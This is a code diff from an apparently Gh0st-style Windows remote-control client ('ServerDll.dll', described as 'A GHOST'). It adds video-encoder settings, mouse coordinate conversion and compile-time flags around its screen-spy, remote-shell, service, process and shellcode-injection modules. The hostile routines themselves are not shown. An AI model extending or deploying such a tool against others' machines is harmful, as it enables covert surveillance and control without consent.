|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义,skip 才安全
|
||||||
|
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
||||||
|
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
||||||
|
memcpy(prev, nextData, bgraSize);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -1025,6 +1062,26 @@ public:
|
|||||||
pt.y += m_iScreenY;
|
pt.y += m_iScreenY;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 鼠标位置反向转换:将客户端绝对坐标(GetCursorPos)转换为发送坐标系,逐项是 PointConversion 的逆
|
||||||
|
virtual void PointConversionInverse(POINT& pt) const
|
||||||
|
{
|
||||||
|
// 3'. 减去屏幕偏移(多显示器)
|
||||||
|
pt.x -= m_iScreenX;
|
||||||
|
pt.y -= m_iScreenY;
|
||||||
|
// 2'. 反向 DPI 缩放
|
||||||
|
if (m_bZoomed) {
|
||||||
|
pt.x = (LONG)(pt.x / m_wZoom);
|
||||||
|
pt.y = (LONG)(pt.y / m_hZoom);
|
||||||
|
}
|
||||||
|
// 1'. full → send 缩放(位图下采样传输时)
|
||||||
|
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||||
|
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
|
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
|
||||||
|
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
|
||||||
|
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 获取位图结构信息
|
// 获取位图结构信息
|
||||||
virtual const LPBITMAPINFO& GetBIData() const
|
virtual const LPBITMAPINFO& GetBIData() const
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -25,7 +25,8 @@ private:
|
|||||||
BYTE* m_NextBuffer = nullptr;
|
BYTE* m_NextBuffer = nullptr;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
|
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT)
|
||||||
|
: ScreenCapture(32, algo, all, level)
|
||||||
{
|
{
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
InitDXGI(all);
|
InitDXGI(all);
|
||||||
|
|||||||
@@ -31,6 +31,39 @@
|
|||||||
#include <audioclient.h>
|
#include <audioclient.h>
|
||||||
#include <functiondiscoverykeys_devpkey.h>
|
#include <functiondiscoverykeys_devpkey.h>
|
||||||
|
|
||||||
|
bool IsWindows8orHigher()
|
||||||
|
{
|
||||||
|
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||||
|
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (!hMod) return false;
|
||||||
|
|
||||||
|
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||||
|
if (!rtlGetVersion) return false;
|
||||||
|
|
||||||
|
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||||
|
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||||
|
if (rtlGetVersion(&rovi) == 0) {
|
||||||
|
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if ENABLE_SCREEN
|
||||||
|
|
||||||
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
||||||
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
||||||
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
||||||
@@ -56,20 +89,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
|||||||
#pragma comment(lib, "Shlwapi.lib")
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
#pragma comment(lib, "wtsapi32.lib")
|
#pragma comment(lib, "wtsapi32.lib")
|
||||||
|
|
||||||
#ifdef _WIN64
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
|
||||||
#endif
|
|
||||||
#else
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -77,23 +96,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
|||||||
#define WM_MOUSEWHEEL 0x020A
|
#define WM_MOUSEWHEEL 0x020A
|
||||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||||
|
|
||||||
bool IsWindows8orHigher()
|
|
||||||
{
|
|
||||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
|
||||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
|
||||||
if (!hMod) return false;
|
|
||||||
|
|
||||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
|
||||||
if (!rtlGetVersion) return false;
|
|
||||||
|
|
||||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
|
||||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
|
||||||
if (rtlGetVersion(&rovi) == 0) {
|
|
||||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
#ifndef PLUGIN
|
#ifndef PLUGIN
|
||||||
@@ -154,6 +156,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||||
|
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
||||||
|
|
||||||
LoadQualityProfiles(); // 加载质量配置
|
LoadQualityProfiles(); // 加载质量配置
|
||||||
|
|
||||||
@@ -519,18 +522,18 @@ void CScreenManager::InitScreenSpy()
|
|||||||
SAFE_DELETE(m_ScreenSpyObject);
|
SAFE_DELETE(m_ScreenSpyObject);
|
||||||
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
||||||
m_isGDI = FALSE;
|
m_isGDI = FALSE;
|
||||||
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
|
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
if (s->IsInitSucceed()) {
|
if (s->IsInitSucceed()) {
|
||||||
m_ScreenSpyObject = s;
|
m_ScreenSpyObject = s;
|
||||||
} else {
|
} else {
|
||||||
SAFE_DELETE(s);
|
SAFE_DELETE(s);
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -817,6 +820,14 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ClientObject->StopRunning();
|
m_ClientObject->StopRunning();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_ENCODE_LEVEL: {
|
||||||
|
int encodeLevel = szBuffer[1];
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetInt("settings", "EncodeLevel", encodeLevel);
|
||||||
|
Mprintf("[CScreenManager] Change Encode Level: %d -> %d\n", m_ScreenSettings.EncodeLevel, encodeLevel);
|
||||||
|
m_ScreenSettings.EncodeLevel = encodeLevel;
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_SWITCH_SCREEN: {
|
case COMMAND_SWITCH_SCREEN: {
|
||||||
SwitchScreen();
|
SwitchScreen();
|
||||||
break;
|
break;
|
||||||
@@ -2600,7 +2611,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
if (pThis->m_pCaptureClient == nullptr)
|
||||||
|
break;
|
||||||
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
|
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
|
||||||
|
|
||||||
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
|
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
|
||||||
@@ -2631,3 +2643,4 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
|||||||
Mprintf("音频线程退出\n");
|
Mprintf("音频线程退出\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -10,6 +10,13 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
|
||||||
|
bool IsWindows8orHigher();
|
||||||
|
|
||||||
|
#if ENABLE_SCREEN==0
|
||||||
|
#define CScreenManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "ScreenCapture.h"
|
#include "ScreenCapture.h"
|
||||||
|
|
||||||
@@ -21,8 +28,6 @@ struct IAudioCaptureClient;
|
|||||||
|
|
||||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||||
|
|
||||||
bool IsWindows8orHigher();
|
|
||||||
|
|
||||||
BOOL IsRunningAsSystem();
|
BOOL IsRunningAsSystem();
|
||||||
|
|
||||||
class IOCPClient;
|
class IOCPClient;
|
||||||
@@ -121,4 +126,6 @@ public:
|
|||||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||||
|
|||||||
@@ -12,8 +12,8 @@
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level) :
|
||||||
ScreenCapture(ulbiBitCount, algo, all)
|
ScreenCapture(ulbiBitCount, algo, all, level)
|
||||||
{
|
{
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
|
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ protected:
|
|||||||
EnumHwndsPrintData m_data;
|
EnumHwndsPrintData m_data;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT);
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,4
|
FILEVERSION 1,0,3,5
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.4"
|
VALUE "FileVersion", "1.0.3.5"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#include "ServicesManager.h"
|
#include "ServicesManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
|
||||||
|
#if ENABLE_SERVICE_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -306,3 +308,4 @@ void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -10,6 +10,9 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
#if ENABLE_SERVICE_MNG==0
|
||||||
|
#define CServicesManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CServicesManager : public CManager
|
class CServicesManager : public CManager
|
||||||
{
|
{
|
||||||
@@ -22,5 +25,6 @@ public:
|
|||||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||||
SC_HANDLE m_hscManager;
|
SC_HANDLE m_hscManager;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||||
|
|||||||
@@ -7,6 +7,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_SHELL
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -188,3 +190,4 @@ CShellManager::~CShellManager()
|
|||||||
Sleep(200); // wait for thread to exit
|
Sleep(200); // wait for thread to exit
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL==0
|
||||||
|
#define CShellManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CShellManager : public CManager
|
class CShellManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -33,5 +37,6 @@ public:
|
|||||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||||
HANDLE m_hShellThreadHandle;
|
HANDLE m_hShellThreadHandle;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||||
|
|||||||
@@ -12,6 +12,8 @@
|
|||||||
#define PSAPI_VERSION 1
|
#define PSAPI_VERSION 1
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#if ENABLE_PROC_WND
|
||||||
|
|
||||||
#include <Psapi.h>
|
#include <Psapi.h>
|
||||||
#include "ShellcodeInj.h"
|
#include "ShellcodeInj.h"
|
||||||
|
|
||||||
@@ -323,3 +325,4 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
|||||||
*(LPBYTE*)lParam = szBuffer;
|
*(LPBYTE*)lParam = szBuffer;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_PROC_WND==0
|
||||||
|
#define CSystemManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CSystemManager : public CManager
|
class CSystemManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -27,5 +31,6 @@ public:
|
|||||||
void SendWindowsList();
|
void SendWindowsList();
|
||||||
void TestWindow(LPBYTE szBuffer);
|
void TestWindow(LPBYTE szBuffer);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||||
|
|||||||
@@ -9,6 +9,8 @@
|
|||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
#include <mmsystem.h>
|
#include <mmsystem.h>
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE
|
||||||
|
|
||||||
#pragma comment(lib, "WINMM.LIB")
|
#pragma comment(lib, "WINMM.LIB")
|
||||||
|
|
||||||
#define ID_TIMER_POP_WINDOW 1
|
#define ID_TIMER_POP_WINDOW 1
|
||||||
@@ -153,3 +155,4 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -11,6 +11,10 @@
|
|||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE==0
|
||||||
|
#define CTalkManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CTalkManager : public CManager
|
class CTalkManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -28,5 +32,6 @@ public:
|
|||||||
char g_Buffer[TALK_DLG_MAXLEN];
|
char g_Buffer[TALK_DLG_MAXLEN];
|
||||||
UINT_PTR g_Event;
|
UINT_PTR g_Event;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||||
|
|||||||
Binary file not shown.
59
client/VideoEncoderBase.h
Normal file
59
client/VideoEncoderBase.h
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
// 视频编码器抽象接口
|
||||||
|
// Step 0: 仅 CX264Encoder 实现;后续 CFFmpegH264Encoder / CFFmpegAV1Encoder 接入
|
||||||
|
// 详见 docs/HardwareEncoding_Design.md
|
||||||
|
|
||||||
|
enum class VideoCodec {
|
||||||
|
H264,
|
||||||
|
AV1,
|
||||||
|
};
|
||||||
|
|
||||||
|
enum class RateControl {
|
||||||
|
CRF, // x264 软编用 CRF (0-51, 越小越好)
|
||||||
|
BITRATE, // 硬编路径用目标码率 (kbps)
|
||||||
|
};
|
||||||
|
|
||||||
|
struct EncoderParams {
|
||||||
|
int width = 0;
|
||||||
|
int height = 0;
|
||||||
|
int fps = 30;
|
||||||
|
RateControl rc = RateControl::BITRATE;
|
||||||
|
int crf = 23; // 当 rc == CRF
|
||||||
|
int bitrate_kbps = 4000; // 当 rc == BITRATE
|
||||||
|
int gop_seconds = 15; // 关键帧间隔(秒),与 x264 i_keyint_max=fps*15 对齐
|
||||||
|
};
|
||||||
|
|
||||||
|
class VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
virtual ~VideoEncoderBase() = default;
|
||||||
|
|
||||||
|
virtual bool open(const EncoderParams& params) = 0;
|
||||||
|
virtual void close() = 0;
|
||||||
|
|
||||||
|
// 编码一帧
|
||||||
|
// rgb : 输入像素数据
|
||||||
|
// bpp : 24 (RGB) / 32 (BGRA)
|
||||||
|
// stride : 源行字节数
|
||||||
|
// width/height : 图像尺寸
|
||||||
|
// lppData : 输出指针,指向编码后码流(生命周期归编码器,下一次 encode 失效)
|
||||||
|
// lpSize : 输出码流字节数;返回 0 表示成功但本帧无输出(硬编首帧延迟)
|
||||||
|
// direction : 1 = 上下不翻转,-1 = 翻转(适配 Windows BMP bottom-up)
|
||||||
|
// 返回 0 = 成功;< 0 = 失败
|
||||||
|
virtual int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) = 0;
|
||||||
|
|
||||||
|
virtual void forceIDR() = 0;
|
||||||
|
virtual void setBitrate(int kbps) {} // 可选实现,默认 no-op
|
||||||
|
virtual VideoCodec codec() const = 0;
|
||||||
|
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
|
||||||
|
};
|
||||||
@@ -7,6 +7,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|
||||||
|
#if ENABLE_VIDEO_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -190,3 +192,4 @@ BOOL CVideoManager::Initialize()
|
|||||||
}
|
}
|
||||||
return bRet;
|
return bRet;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -13,6 +13,10 @@
|
|||||||
#include "CaptureVideo.h"
|
#include "CaptureVideo.h"
|
||||||
#include "VideoCodec.h"
|
#include "VideoCodec.h"
|
||||||
|
|
||||||
|
#if ENABLE_VIDEO_MNG==0
|
||||||
|
#define CVideoManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CVideoManager : public CManager
|
class CVideoManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -37,5 +41,6 @@ public:
|
|||||||
CVideoCodec *m_pVideoCodec; //压缩类
|
CVideoCodec *m_pVideoCodec; //压缩类
|
||||||
void Destroy();
|
void Destroy();
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||||
|
|||||||
@@ -3,10 +3,11 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
#if DISABLE_X264_FOR_TEST
|
#if DISABLE_X264_FOR_TEST
|
||||||
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
|
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
|
||||||
CX264Encoder::~CX264Encoder() {}
|
CX264Encoder::~CX264Encoder() {}
|
||||||
bool CX264Encoder::open(int, int, int, int) { return false; }
|
bool CX264Encoder::open(int, int, int, int) { return false; }
|
||||||
bool CX264Encoder::open(x264_param_t*) { return false; }
|
bool CX264Encoder::open(x264_param_t*) { return false; }
|
||||||
|
bool CX264Encoder::open(const EncoderParams&) { return false; }
|
||||||
void CX264Encoder::close() {}
|
void CX264Encoder::close() {}
|
||||||
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
||||||
|
|
||||||
@@ -25,6 +26,7 @@ CX264Encoder::CX264Encoder()
|
|||||||
m_pCodec = NULL;
|
m_pCodec = NULL;
|
||||||
m_pPicIn = NULL;
|
m_pPicIn = NULL;
|
||||||
m_pPicOut = NULL;
|
m_pPicOut = NULL;
|
||||||
|
m_forceIDR = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -88,6 +90,14 @@ bool CX264Encoder::open(x264_param_t * param)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool CX264Encoder::open(const EncoderParams& params)
|
||||||
|
{
|
||||||
